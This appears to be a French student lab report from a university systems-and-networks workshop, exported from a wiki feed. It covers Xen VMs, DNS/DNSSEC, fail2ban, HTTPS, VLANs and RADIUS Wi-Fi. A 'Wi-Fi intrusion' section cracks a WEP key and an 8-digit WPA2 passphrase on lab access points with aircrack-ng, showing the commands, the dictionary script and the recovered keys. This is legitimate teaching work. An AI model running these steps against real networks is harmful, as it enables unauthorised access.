&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12203</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12203"/>
		<updated>2026-02-10T16:40:47Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
